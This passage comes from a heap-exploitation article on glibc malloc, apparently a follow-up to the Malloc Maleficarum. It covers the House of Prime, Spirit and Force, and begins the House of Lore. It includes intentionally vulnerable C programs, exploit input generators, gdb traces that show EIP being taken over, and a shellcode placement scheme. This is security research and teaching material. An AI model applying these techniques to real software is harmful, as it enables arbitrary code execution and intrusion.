fwrite("\x09\x00\x00\x00", 4, 1, stdout); /* free(1) ptr1 size */
|
||
|
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* FILLER */
|
||
|
fwrite("\x10\x00\x00\x00", 4, 1, stdout); /* free(1) ptr2 size */
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
The next mission is to overwrite the value of "arena_key" (read Malloc
|
||
|
Maleficarum for details) which is typically above "av" (&main_arena).
|
||
|
|
||
|
As we can use chunks of very large sizes, we can make that
|
||
|
&(av->fastbins[x]) points very far. At least enough to reach the
|
||
|
value of "arena_key" and overwrite it with the "p" address.
|
||
|
|
||
|
Taking the example of Phantasmal, we would have to resize the second chunk
|
||
|
to with the next value:
|
||
|
|
||
|
1156 bytes / 4 = 289
|
||
|
(289 + 2) << 3 = 2328 = 0x918h -> 0x919 (PREV_INUSE)
|
||
|
------
|
||
|
|
||
|
You have to check again the "size" field of the next chunk, whose address
|
||
|
is calculated from the value that we obtain a moment ago.
|
||
|
|
||
|
You can continue your exploit:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
for (i = 0; i < 1020; i++)
|
||
|
putchar(0x41);
|
||
|
fwrite("\x19\x09\x00\x00", 4, 1, stdout); /* free(2) ptr2 size */
|
||
|
|
||
|
.... /* Later */
|
||
|
|
||
|
for (i = 0; i < (2000 / 4); i++)
|
||
|
fwrite("\x10\x00\x00\x00", 4, 1, stdout);
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
At the end of the second free (): arena_key = p2.
|
||
|
|
||
|
This value will be used by the call to malloc () setting it as the "arena"
|
||
|
structure to use.
|
||
|
|
||
|
arena_get(ar_ptr, bytes);
|
||
|
if(!ar_ptr)
|
||
|
return 0;
|
||
|
victim = _int_malloc(ar_ptr, bytes);
|
||
|
|
||
|
Again, let's go to see, to be more intuitive, the magic code of
|
||
|
"_int_malloc()" function:
|
||
|
|
||
|
.....
|
||
|
|
||
|
if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
|
||
|
long int idx = fastbin_index(nb);
|
||
|
fb = &(av->fastbins[idx]);
|
||
|
if ( (victim = *fb) != 0) {
|
||
|
if (fastbin_index (chunksize (victim)) != idx)
|
||
|
malloc_printerr (check_action, "malloc(): memory"
|
||
|
" corruption (fast)", chunk2mem (victim));
|
||
|
*fb = victim->fd;
|
||
|
check_remalloced_chunk(av, victim, nb);
|
||
|
return chunk2mem(victim);
|
||
|
}
|
||
|
|
||
|
.....
|
||
|
|
||
|
"av" is now our arena, which starts at the beginning of the second chunk
|
||
|
liberated "p2", then it is clear that "av->max_fast" will be equal to the
|
||
|
"size" field of the chunk. In order to pass the first integrity check, we
|
||
|
have to ensure that the size requested by the "malloc()" call is less than
|
||
|
that value, as Phantasmal said, otherwise you can try the technique
|
||
|
described in 4.2.1.
|
||
|
|
||
|
As our vulnerable program allocate 1024 bytes, it will be perfect por a
|
||
|
successful exploitation.
|
||
|
|
||
|
Then we can see that "fb" is set to address of a "fastbin" in "av", and in
|
||
|
the following sentence, its content will be the final address of "victim".
|
||
|
Remember that our goal is to allocate an amount of bytes into a place of
|
||
|
our choice.
|
||
|
|
||
|
Do you remember / * Later * / ?
|
||
|
|
||
|
Well, that is where we need to copy repeatedly the address that we want
|
||
|
in the stack, so any return "fastbin" set our address in "fb".
|
||
|
|
||
|
Mmmmm, but wait a moment, the next condition is the most important:
|
||
|
|
||
|
if (fastbin_index (chunksize (victim)) != idx)
|
||
|
|
||
|
This means that the "size" field of our fakechunk must be equal to the
|
||
|
amount requested by "malloc()". This is the last requirement in The House
|
||
|
of Prime. We must control a value into memory and place address of
|
||
|
"victim" just 4 bytes before, so this value would become its new size.
|
||
|
|
||
|
Our vulnerable application get as parameters: "name", "surname" and "age".
|
||
|
This last value is an integer that will be stored in the stack. If we
|
||
|
make: age = 1024->(1032), we only must look for it into the stack to know
|
||
|
the final address of "victim".
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
(gdb) run Black Ngel 1032 < file
|
||
|
ptr found at [ 0x80b2a20 ]
|
||
|
ptr1ovf found at [ 0x80b2e28 ]
|
||
|
ptr2ovf found at [ 0x80b3230 ]
|
||
|
Escriba una descripcion:
|
||
|
END free(1)
|
||
|
|
||
|
END free(2)
|
||
|
|
||
|
Breakpoint 2, 0x080482d9 in fvuln ()
|
||
|
(gdb) x/4x $ebp-32
|
||
|
0xbffff838: 0x00000000 0x00000000 0xbf000000 0x00000408
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
Here we have our value, we should point to "0xbffff840".
|
||
|
|
||
|
for (i = 0; i < (600 / 4); i++)
|
||
|
fwrite("\x40\xf8\xff\xbf", 4, 1, stdout);
|
||
|
|
||
|
You should have: ptr3 = malloc(1024) = 0xbffff848, remember that it
|
||
|
returns a pointer to the memory (data area) and not to chunk's header.
|
||
|
|
||
|
We are really close to EBP and EIP. What happens if our "name" is
|
||
|
composed by a few letters "A"?
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
(gdb) run Black `perl -e 'print "A"x64'` 1032 < file
|
||
|
.....
|
||
|
ptr found at [ 0x80b2a20 ]
|
||
|
ptr1ovf found at [ 0x80b2e28 ]
|
||
|
ptr2ovf found at [ 0x80b3230 ]
|
||
|
Escriba una descripcion:
|
||
|
END free(1)
|
||
|
|
||
|
END free(2)
|
||
|
|
||
|
Breakpoint 2, 0x080482d9 in fvuln ()
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
END malloc()
|
||
|
|
||
|
Breakpoint 3, 0x08048307 in fvuln ()
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
0x41414141 in ?? ()
|
||
|
(gdb)
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
Bingo! I think that you can put your own Shellcode, right?
|
||
|
|
||
|
Actually, addresses require manual adjustments, but that is trivial when
|
||
|
you know write "gdb" in your shell.
|
||
|
|
||
|
At first, this technique is only applicable to version 2.3.6 of GLIBC.
|
||
|
Later was added in the "free()" function an integrity check like this:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
/* We know that each chunk is at least MINSIZE bytes in size. */
|
||
|
if (__builtin_expect (size < MINSIZE, 0))
|
||
|
{
|
||
|
errstr = "free(): invalid size";
|
||
|
goto errout;
|
||
|
}
|
||
|
|
||
|
check_inuse_chunk(av, p);
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
|
||
|
Which does not allow us to establish a smaller size than "16".
|
||
|
|
||
|
In honor to the first house developed and built by Phantasmal we have
|
||
|
shown that it is possible to arrive alive at The House of Prime.
|
||
|
|
||
|
|
||
|
|
||
|
<< La tecnica no solo es una
|
||
|
modificacion, es poder sobre
|
||
|
las cosas. >>
|
||
|
|
||
|
[ Xavier Zubiri ]
|
||
|
|
||
|
|
||
|
|
||
|
-----------------------
|
||
|
---[ 4.2.1 ---[ unsorted_chunks() ]---
|
||
|
-----------------------
|
||
|
|
||
|
Until the call to "malloc()", the technique is exactly the same as
|
||
|
described in 4.2. The difference comes when the amount of bytes that you
|
||
|
want to alloc with that call is over "av->max_fast", which appears to be
|
||
|
the size of the second chunk passed to free().
|
||
|
|
||
|
Then, as Phantasmal advanced us, another piece of code can be triggered so
|
||
|
that we will can overwrite an arbitrary address of memory.
|
||
|
|
||
|
But again he was wrong when he said:
|
||
|
|
||
|
"Firstly, the unsorted_chunks() macro returns av->bins[0]."
|
||
|
|
||
|
And this is not true, because "unsorted_chunks ()" returned address of
|
||
|
"av->bins[0]" and not its value, which means that we must devise another
|
||
|
method.
|
||
|
|
||
|
Being these lines the most relevant:
|
||
|
|
||
|
.....
|
||
|
victim = unsorted_chunks(av)->bk
|
||
|
bck = victim->bk;
|
||
|
.....
|
||
|
.....
|
||
|
unsorted_chunks(av)->bk = bck;
|
||
|
bck->fd = unsorted_chunks(av);
|
||
|
.....
|
||
|
|
||
|
I propose the following method:
|
||
|
|
||
|
1) Put at &av->bins[0]+12 the address of (&av->bins[0]+16-12). Then:
|
||
|
|
||
|
victim = &av->bins[0]+4;
|
||
|
|
||
|
2) Put at &av->bins[0]+16 address of EIP - 8. Then:
|
||
|
|
||
|
bck = (&av->bins[0]+4)->bk = av->bins[0]+16 = &EIP-8;
|
||
|
|
||
|
3) Put at av->bins[0] a "JMP 0xYY" sentence to jump at least as far
|
||
|
as &av->bins[0]+20. In the penultimate sentence it will destroy
|
||
|
&av->bins[0]+12, but it is not important now, to the end we will
|
||
|
have:
|
||
|
|
||
|
bck->fd = EIP = &av->bins[0];
|
||
|
|
||
|
4) Put (NOPS + SHELLCODE) from &av->bins[0] + 20.
|
||
|
|
||
|
|
||
|
When a "ret" instruction is executed, it will go to our "JMP" and this
|
||
|
fall directly on the NOPS, moving east until the shellcode.
|
||
|
|
||
|
We should have something like this:
|
||
|
|
||
|
|
||
|
&av->bins[0] &av->bins[0]+12 &av->bins[0]+16
|
||
|
| | |
|
||
|
...[ JMP 0x16 ].....[&av->bins[0]+16-12][ EIP - 8][ NOPS + SHELLCODE ]...
|
||
|
|______________________|______|_________|
|
||
|
(2) |______|
|
||
|
(1)
|
||
|
|
||
|
(1) This happens here: bck = (&av->bins[0]+4)->bk.
|
||
|
(2) This happens after the execution of a "ret"
|
||
|
|
||
|
|
||
|
The great advantage of this method is that we can achieve a direct
|
||
|
arbitrary code execution instead of returning a controlled chunk from
|
||
|
"malloc()".
|
||
|
|
||
|
Perhaps through this clever way you can directly reach The House of Prime.
|
||
|
|
||
|
|
||
|
|
||
|
<< Felicidad no es hacer lo que
|
||
|
uno quiere, sino querer lo que
|
||
|
uno hace. >>
|
||
|
|
||
|
[ J. P. Sartre ]
|
||
|
|
||
|
|
||
|
|
||
|
-------------------------
|
||
|
---[ 4.3 ---[ THE HOUSE OF SPIRIT ]---
|
||
|
-------------------------
|
||
|
|
||
|
The House of Spirit is, undoubtedly, one of the most simple applied
|
||
|
technique when circumstances are propitious. The goal is to overwrite
|
||
|
a pointer that was previously allocated with a call to "malloc()" so
|
||
|
that when this is passed to free(), an arbitrary address will be stored
|
||
|
in a "fastbin[]".
|
||
|
|
||
|
This can bring that in a future call to malloc(), this value will be taken
|
||
|
as the new memory for the requested chunk. And what happens if I do that
|
||
|
this memory chunk to fall into any specific area of stack?
|
||
|
|
||
|
Well, if we can control what we write in, we can change everything value
|
||
|
that is ahead. As always, this is where EIP enters to the game.
|
||
|
|
||
|
Let's go to see a vulnerable program:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <string.h>
|
||
|
#include <stdlib.h>
|
||
|
|
||
|
void fvuln(char *str1, int age)
|
||
|
{
|
||
|
static char *ptr1, name[32];
|
||
|
int local_age;
|
||
|
char *ptr2;
|
||
|
|
||
|
local_age = age;
|
||
|
|
||
|
ptr1 = (char *) malloc(256);
|
||
|
printf("\nPTR1 = [ %p ]", ptr1);
|
||
|
strcpy(name, str1);
|
||
|
printf("\nPTR1 = [ %p ]\n", ptr1);
|
||
|
|
||
|
free(ptr1);
|
||
|
|
||
|
ptr2 = (char *) malloc(40);
|
||
|
|
||
|
snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);
|
||
|
printf("\n%s\n", ptr2);
|
||
|
}
|
||
|
|
||
|
int main(int argc, char *argv[])
|
||
|
{
|
||
|
if (argc == 3)
|
||
|
fvuln(argv[1], atoi(argv[2]));
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
It is easy to see how the "strcpy()" function allow to overwrite the
|
||
|
"ptr1" pointer:
|
||
|
|
||
|
blackngel@mac:~$ ./hos `perl -e 'print "A"x32 . "BBBB"'` 20
|
||
|
PTR1 = [ 0x80c2688 ]
|
||
|
PTR1 = [ 0x42424242 ]
|
||
|
Segmentation fault
|
||
|
|
||
|
With this in mind, we can change the address of the chunk, but not all
|
||
|
addresses are valid. Remember that in order to execute the "fastbin" code
|
||
|
described in The House of Prime, we need a minor value than "av->max_fast"
|
||
|
and, more specifically, as Phantasmal said, it has to be equal to the size
|
||
|
requested in the future call to "malloc()" + 8.
|
||
|
|
||
|
So as one of the arguments in our application is the "age" parameter, we
|
||
|
can put any value in the stack, which in this case will be "0x48", and
|
||
|
seek its address.
|
||
|
|
||
|
(gdb) x/4x $ebp-4
|
||
|
0xbffff314: 0x00000030 0xbffff338 0x080482ed 0xbffff702
|
||
|
|
||
|
In our case we see that the value is just behind EBP, and PTR1 would must
|
||
|
point to EBP. Remember that we are modifying the pointer to memory, not
|
||
|
the chunk's address.
|
||
|
|
||
|
The most important requirement to success of this technique is pass the
|
||
|
integrity check of the next chunk:
|
||
|
|
||
|
if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|
||
|
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||
|
>= av->system_mem, 0))
|
||
|
|
||
|
... at $EBP - 4 + 48 we must have a value that meets the above conditions.
|
||
|
Otherwise you should look for another addresses of memory that can allow
|
||
|
you to control both values.
|
||
|
|
||
|
(gdb) x/4x $ebp-4+48
|
||
|
0xbffff344: 0x0000012c 0xbffff568 0x080484eb 0x00000003
|
||
|
|
||
|
I will shown what it happens:
|
||
|
|
||
|
|
||
|
val1 target val2
|
||
|
o | o
|
||
|
-64 | mem -4 0 +4 +8 +12 +16 |
|
||
|
| | | | | | | | | |
|
||
|
.....][P_SIZE][size+8][...][EBP][EIP][..][..][..][next_size][ ......
|
||
|
| | |
|
||
|
o---|---------------------------o
|
||
|
| (size + 8) bytes
|
||
|
PTR1
|
||
|
|---> Future PTR2
|
||
|
----
|
||
|
|
||
|
(target) Value to overwrite.
|
||
|
(mem) Data of fakechunk.
|
||
|
(val1) Size of fakechunk.
|
||
|
(val2) Size of next chunk.
|
||
|
|
||
|
|
||
|
If this happens, control will be in our hands:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
blackngel@linux:~$ gdb -q ./hos
|
||
|
(gdb) disass fvuln
|
||
|
Dump of assembler code for function fvuln:
|
||
|
0x080481f0 <fvuln+0>: push %ebp
|
||
|
0x080481f1 <fvuln+1>: mov %esp,%ebp
|
||
|
0x080481f3 <fvuln+3>: sub $0x28,%esp
|
||
|
0x080481f6 <fvuln+6>: mov 0xc(%ebp),%eax
|
||
|
0x080481f9 <fvuln+9>: mov %eax,-0x4(%ebp)
|
||
|
0x080481fc <fvuln+12>: movl $0x100,(%esp)
|
||
|
0x08048203 <fvuln+19>: call 0x804f440 <malloc>
|
||
|
..........
|
||
|
..........
|
||
|
0x08048230 <fvuln+64>: call 0x80507a0 <strcpy>
|
||
|
..........
|
||
|
..........
|
||
|
0x08048252 <fvuln+98>: call 0x804da50 <free>
|
||
|
0x08048257 <fvuln+103>: movl $0x28,(%esp)
|
||
|
0x0804825e <fvuln+110>: call 0x804f440 <malloc>
|
||
|
..........
|
||
|
..........
|
||
|
0x080482a3 <fvuln+179>: leave
|
||
|
0x080482a4 <fvuln+180>: ret
|
||
|
End of assembler dump.
|
||
|
|
||
|
(gdb) break *fvuln+19 /* Before malloc() */
|
||
|
Breakpoint 1 at 0x8048203
|
||
|
|
||
|
(gdb) run `perl -e 'print "A"x32 . "\x18\xf3\xff\xbf"'` 48
|
||
|
.........
|
||
|
..........
|
||
|
Breakpoint 1, 0x08048203 in fvuln ()
|
||
|
(gdb) x/4x $ebp-4 /* 0x30 = 48 */
|
||
|
0xbffff314: 0x00000030 0xbffff338 0x080482ed 0xbffff702
|
||
|
|
||
|
(gdb) x/4x $ebp-4+48 /* 8 < 0x12c < av->system_mem */
|
||
|
0xbffff344: 0x0000012c 0xbffff568 0x080484eb 0x00000003
|
||
|
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
PTR1 = [ 0x80c2688 ]
|
||
|
PTR1 = [ 0xbffff318 ]
|
||
|
|
||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||
|
|
||
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
0x41414141 in ?? ()
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
In this special case, the address of EBP would be the address of PTR2 zone
|
||
|
data, which means that the fourth write character will overwrite EIP, and
|
||
|
you will can point to your Shellcode.
|
||
|
|
||
|
This technique has the advantage, once again, to remain applicable in
|
||
|
the newer versions of glibc so as PTMALLOC3. Must be known that the
|
||
|
Phantasmal's theory still remain to the pass of the time.
|
||
|
|
||
|
Now you can feel the power of witches. We arrived, flying in broom at The
|
||
|
House of Spirit.
|
||
|
|
||
|
|
||
|
|
||
|
<< La television es el espejo donde
|
||
|
se refleja la derrota de todo
|
||
|
nuestro sistema cultural. >>
|
||
|
|
||
|
[ Federico Fellini ]
|
||
|
|
||
|
|
||
|
|
||
|
-------------------------
|
||
|
---[ 4.4 ---[ THE HOUSE OF FORCE ]---
|
||
|
-------------------------
|
||
|
|
||
|
The top chunk (Wilderness), as I mentioned earlier in this article may be
|
||
|
one of the most dreaded chunks. Sure, it is treated in a special way by
|
||
|
the free() and malloc() functions, but in this case will be the trigger
|
||
|
for a possible arbitrary code execution.
|
||
|
|
||
|
The main goal of this technique is to reach the next piece of code in
|
||
|
"_int_malloc ()":
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
.....
|
||
|
use_top:
|
||
|
victim = av->top;
|
||
|
size = chunksize(victim);
|
||
|
|
||
|
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
|
||
|
remainder_size = size - nb;
|
||
|
remainder = chunk_at_offset(victim, nb);
|
||
|
av->top = remainder;
|
||
|
set_head(victim, nb | PREV_INUSE |
|
||
|
(av != &main_arena ? NON_MAIN_ARENA : 0));
|
||
|
set_head(remainder, remainder_size | PREV_INUSE);
|
||
|
check_malloced_chunk(av, victim, nb);
|
||
|
return chunk2mem(victim);
|
||
|
}
|
||
|
.....
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
This technique requires three conditions:
|
||
|
|
||
|
1 - One overflow in a chunk that allows to overwrite the Wilderness.
|
||
|
|
||
|
2 - A call to "malloc()" with size field defined by designer.
|
||
|
|
||
|
3 - Another call to "malloc()" where data can be handled by designer.
|
||
|
|
||
|
The ultimate goal is to get a chunk placed in an arbitrary memory. This
|
||
|
position will be obtained by the last call to "malloc()", but first we
|
||
|
must analyse more things.
|
||
|
|
||
|
Consider first a possible vulnerable program:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <string.h>
|
||
|
#include <stdlib.h>
|
||
|
|
||
|
void fvuln(unsigned long len, char *str)
|
||
|
{
|
||
|
char *ptr1, *ptr2, *ptr3;
|
||
|
|
||
|
ptr1 = malloc(256);
|
||
|
printf("\nPTR1 = [ %p ]\n", ptr1);
|
||
|
strcpy(ptr1, str);
|
||
|
|
||
|
printf("\Allocated MEM: %u bytes", len);
|
||
|
ptr2 = malloc(len);
|
||
|
ptr3 = malloc(256);
|
||
|
|
||
|
strncpy(ptr3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 256);
|
||
|
}
|
||
|
|
||
|
int main(int argc, char *argv[])
|
||
|
{
|
||
|
char *pEnd;
|
||
|
if (argc == 3)
|
||
|
fvuln(strtoull(argv[1], &pEnd, 10), argv[2]);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
Phantasmal said that the first thing to do was to overwrite the
|
||
|
Wilderness chunk so that its "size" field was as high as possible,
|
||
|
as well as "0xffffffff". Since our first chunk is 256 bytes long,
|
||
|
and it is vulnerable to overflow, 264 characters "\xff" achieve the
|
||
|
objective.
|
||
|
|
||
|
This ensures that any request of memory enough large, is treated with
|
||
|
the code "_int_malloc()", instead of expand the heap.
|
||
|
|
||
|
The second goal, is to alter "av->top" so it points to a memory area under
|
||
|
designer control. We (it's view in next section) will work with the stack,
|
||
|
particularly with the EIP target. In fact, the address that should be
|
||
|
placed in "av->top" is EIP - 8, because we are dealing with the chunk
|
||
|
address, and the return data area is 8 bytes later, there where we will
|
||
|
write our data.
|
||
|
|
||
|
But... How hack "av->top"?
|
||
|
|
||
|
victim = av->top;
|
||
|
remainder = chunk_at_offset(victim, nb);
|
||
|
av->top = remainder;
|
||
|
|
||
|
"victim" get address of the current Wilderness chunk, that in a normal
|
||
|
case we could see so as:
|
||
|
|
||
|
PTR1 = [ 0x80c2688 ]
|
||
|
|
||
|
0x80bf550 <main_arena+48>: 0x080c2788
|
||
|
|
||
|
As we can see, "remainder" is exactly the sum of this address plus the
|
||
|
number of bytes requested by "malloc ()". This amount must be controlled
|
||
|
by the designer as mentioned above.
|
||
|
|
||
|
Then, if EIP is "0xbffff22c", the address that we want placed at remainder
|
||
|
(which will goes direct to "av->top") is actually this: "0xbfffff24". And
|
||
|
now we know where this "av->top". Our number of bytes to request are:
|
||
|
|
||
|
0xbffff224 - 0x080c2788 = 3086207644
|
||
|
|
||
|
I exploited the program with "3086207636", which again, is due to the
|
||
|
difference between the position of the chunk and data area of Wilderness.
|
||
|
|
||
|
Since that time, "av->top" contain our altered value, and any request that
|
||
|
triggers this piece of code, get this address as its data zone. Everything
|
||
|
that is written will destroy the stack.
|
||
|
|
||
|
GLIBC 2.7 do the next:
|
||
|
|
||
|
....
|
||
|
void *p = chunk2mem(victim);
|
||
|
if (__builtin_expect (perturb_byte, 0))
|
||
|
alloc_perturb (p, bytes);
|
||
|
return p;
|
||
|
|
||
|
Let's to go:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
blackngel@linux:~$ gdb -q ./hof
|
||
|
(gdb) disass fvuln
|
||
|
Dump of assembler code for function fvuln:
|
||
|
0x080481f0 <fvuln+0>: push %ebp
|
||
|
0x080481f1 <fvuln+1>: mov %esp,%ebp
|
||
|
0x080481f3 <fvuln+3>: sub $0x28,%esp
|
||
|
0x080481f6 <fvuln+6>: movl $0x100,(%esp)
|
||
|
0x080481fd <fvuln+13>: call 0x804d3b0 <malloc>
|
||
|
..........
|
||
|
..........
|
||
|
0x08048225 <fvuln+53>: call 0x804e710 <strcpy>
|
||
|
..........
|
||
|
..........
|
||
|
0x08048243 <fvuln+83>: call 0x804d3b0 <malloc>
|
||
|
0x08048248 <fvuln+88>: mov %eax,-0x8(%ebp)
|
||
|
0x0804824b <fvuln+91>: movl $0x100,(%esp)
|
||
|
0x08048252 <fvuln+98>: call 0x804d3b0 <malloc>
|
||
|
..........
|
||
|
..........
|
||
|
0x08048270 <fvuln+128>: call 0x804e7f0 <strncpy>
|
||
|
0x08048275 <fvuln+133>: leave
|
||
|
0x08048276 <fvuln+134>: ret
|
||
|
End of assembler dump.
|
||
|
|
||
|
(gdb) break *fvuln+83 /* Before malloc(len) */
|
||
|
Breakpoint 1 at 0x8048243
|
||
|
|
||
|
(gdb) break *fvuln+88 /* After malloc(len) */
|
||
|
Breakpoint 2 at 0x8048248
|
||
|
|
||
|
(gdb) run 3086207636 `perl -e 'print "\xff"x264'`
|
||
|
.....
|
||
|
PTR1 = [ 0x80c2688 ]
|
||
|
|
||
|
Breakpoint 1, 0x08048243 in fvuln ()
|
||
|
(gdb) x/16x &main_arena
|
||
|
..........
|
||
|
..........
|
||
|
0x80bf550 <main_arena+48>: 0x080c2788 0x00000000 0x080bf550 0x080bf550
|
||
|
|
|
||
|
(gdb) c av->top
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 2, 0x08048248 in fvuln ()
|
||
|
(gdb) x/16x &main_arena
|
||
|
..........
|
||
|
..........
|
||
|
0x80bf550 <main_arena+48>: 0xbffff220 0x00000000 0x080bf550 0x080bf550
|
||
|
|
|
||
|
point to stack
|
||
|
(gdb) x/4x $ebp-8
|
||
|
0xbffff220: 0x00000000 0x480c3561 0xbffff258 0x080482cd
|
||
|
|
|
||
|
(gdb) c important
|
||
|
Continuing.
|
||
|
|
||
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
0x41414141 in ?? () /* Our application smash the stack itself */
|
||
|
(gdb)
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
Yeah! So it was possible!!!
|
||
|
|
||
|
I pointed out one value as "important" in the stack, and it is one of
|
||
|
the last condition for a successful implementation of this technique.
|
||
|
It requires that the "size" field of the new Wilderness chunk, been at
|
||
|
least greater than the request made by the last call to "malloc()".
|
||
|
|
||
|
NOTE: As you have seen in the introduction of this article, g463 wrote a
|
||
|
paper about how to take advantage of the set_head() macro in order
|
||
|
to overwrite an arbitrary memory address. This would be strongly
|
||
|
recommendable that you read this work. He also presented a briew
|
||
|
research about The House of Force...
|
||
|
|
||
|
Due to a serious error of mine, I did not read this article until
|
||
|
a Phrack member warned me of its existence after I had edited my
|
||
|
article. I can't avoid feeling amazed at the level of skills these
|
||
|
people are reaching. The work of g463 is really smart.
|
||
|
|
||
|
In conclusion to this technique, I asked what would happen if, instead of
|
||
|
what we have seen, the vulnerable code would looks like:
|
||
|
|
||
|
.....
|
||
|
char buffer[64];
|
||
|
|
||
|
ptr2 = malloc(len);
|
||
|
ptr3 = calloc(256);
|
||
|
|
||
|
strncpy(buffer, argv[1], 63);
|
||
|
.....
|
||
|
|
||
|
At first, it is quite similar, only the last chunk of memory allocated is
|
||
|
done through the function "calloc()" and in this case do not control their
|
||
|
content, but we control a buffer declared at the beginning of the
|
||
|
vulnerable function.
|
||
|
|
||
|
Faced with this obstacle, I had an idea in mind. If it remains possible
|
||
|
return an arbitrary piece of memory and since calloc() will fill it with
|
||
|
"0's", perhaps it could be placed so that the last NULL byte "0" may
|
||
|
overwrite the last byte of a saved EBP, so this is passed finally to ESP,
|
||
|
and may control the return address from within our buffer[].
|
||
|
|
||
|
But soon I warned that the alignment of malloc() algorithm when this is
|
||
|
called, thwarts this possibility. We could overwrite EBP completely with
|
||
|
"0's", which is useless for our purposes. And besides, always there to
|
||
|
take care not to crush our buffer[] with zeros if the reserve of memory
|
||
|
occurs after the content has been established by the user.
|
||
|
|
||
|
And it is all... As always, this technique also remains being applicable
|
||
|
with the latest versions of glibc (2.8.90).
|
||
|
|
||
|
We have arrived, pushed by the power of force, to The House of Force.
|
||
|
|
||
|
|
||
|
|
||
|
<< La gente comienza a plantearse
|
||
|
si todo lo que se puede hacer
|
||
|
se debe hacer. >>
|
||
|
|
||
|
[ D. Ruiz Larrea ]
|
||
|
|
||
|
|
||
|
|
||
|
---------------
|
||
|
---[ 4.4.1 ---[ MISTAKES ]---
|
||
|
---------------
|
||
|
|
||
|
In fact, what we have done in the previous section, the fact of using the
|
||
|
stack was the only viable solution that I found, after realize some errors
|
||
|
that Phantasmal had not expected.
|
||
|
|
||
|
The point is that the description of his technique, he raised the
|
||
|
possibility of overwrite targets as .dtors or Global Offset Table.
|
||
|
But I soon realized that this did not seem possible.
|
||
|
|
||
|
Given that "av->top" was: [0x080c2788]. In a short analysis like this...
|
||
|
|
||
|
blackngel@linux:~$ objdump -s -j .dtors ./hof
|
||
|
.....
|
||
|
Contents of section .dtors:
|
||
|
80be47c ffffffff 20480908 00000000
|
||
|
.....
|
||
|
Contents of section .got:
|
||
|
80be4b8 00000000 00000000
|
||
|
|
||
|
... we can see that both addresses are behind the address of "av->top",
|
||
|
and an amount not lead us to these addresses. Function pointers, the BSS
|
||
|
region, and also other things are behind...
|
||
|
|
||
|
If you want to play with negative numbers or integer overflows, I allow
|
||
|
that you to make all neccesary tests.
|
||
|
|
||
|
It is by this that the Malloc Maleficarum did not mention that the
|
||
|
designer controlled value to allocate memory, should be an "unsigned" or,
|
||
|
otherwise, any value greater than 2147483647 will change its sign directly
|
||
|
to become a negative value, which ends at most cases with a segmentation
|
||
|
fault.
|
||
|
|
||
|
He doesn't think this because he think that he could overwrite memory
|
||
|
positions that were at highest addresses that the Wilderness chunk, bu
|
||
|
not as far as "0xbffffxxx".
|
||
|
|
||
|
Imposible is nothing in this world, and I know that you can feel The House
|
||
|
of Force.
|
||
|
|
||
|
|
||
|
|
||
|
<< La utopia esta en el horizonte. Me
|
||
|
acerco dos pasos, ella se aleja dos
|
||
|
pasos. Camino diez pasos y el horizonte
|
||
|
se corre diez pasos mas alla. Por
|
||
|
mucho que yo camine, nunca la alcanzare.
|
||
|
Para que sirve la utopia? Para eso
|
||
|
sirve, para caminar. >>
|
||
|
|
||
|
[ E. Galeano ]
|
||
|
|
||
|
|
||
|
|
||
|
-----------------------
|
||
|
---[ 4.5 ---[ THE HOUSE OF LORE ]---
|
||
|
-----------------------
|
||
|
|
||
|
This technique will be detailed here in a theoretical way to express what
|
||
|
Phantasmal supposedly wanted to say in his Malloc Maleficarum paper.
|
||
|
|
||
|
The House of Lore requires triggering numerous calls to "malloc()" what
|
||
|
seems not to be a designer controlled value and turns into something
|
||
|
unreal.
|
||
|
|
||
|
But I again repeat the same thing I said at the end of the technique The
|
||
|
House of Mind (CVS vulnerability). And the same showed case is perfect for
|
||
|
the conditions that should meet in The House of Lore. We need multiple
|
||
|
calls to malloc( ) controlling their sizes.
|
||
|
|
||
|
To give a simple explanation, we will approach to the topic through
|
||
|
schemes.
|
||
|
|
||
|
When a chunk is stored in your appropriated "bin", it is inserted as the
|
||
|
first:
|
||
|
|
||
|
1) Calculating the index for the chunk's size:
|
||
|
|
||
|
victim_index = smallbin_index(size);
|
||
|
|
||
|
2) Get the proper bin:
|
||
|
|
||
|
bck = bin_at(av, victim_index);
|
||
|
|
||
|
3) Get the first chunk:
|
||
|
|
||
|
fwd = bck->fd;
|
||
|
|
||
|
4) Pointer "bk" of chunk points to the bin:
|
||
|
|
||
|
victim->bk = bck;
|
||
|
|
||
|
5) Pointer "fd" of chunk points to the previous
|
||
|
first chunk at bin:
|
||
|
|
||
|
victim->fd = fwd;
|
||
|
|
||
|
6) Pointer "bk" of the next chunk points to our
|
||
|
inserted chunk:
|
||
|
|
||
|
fwd->bk = victim;
|
||
|
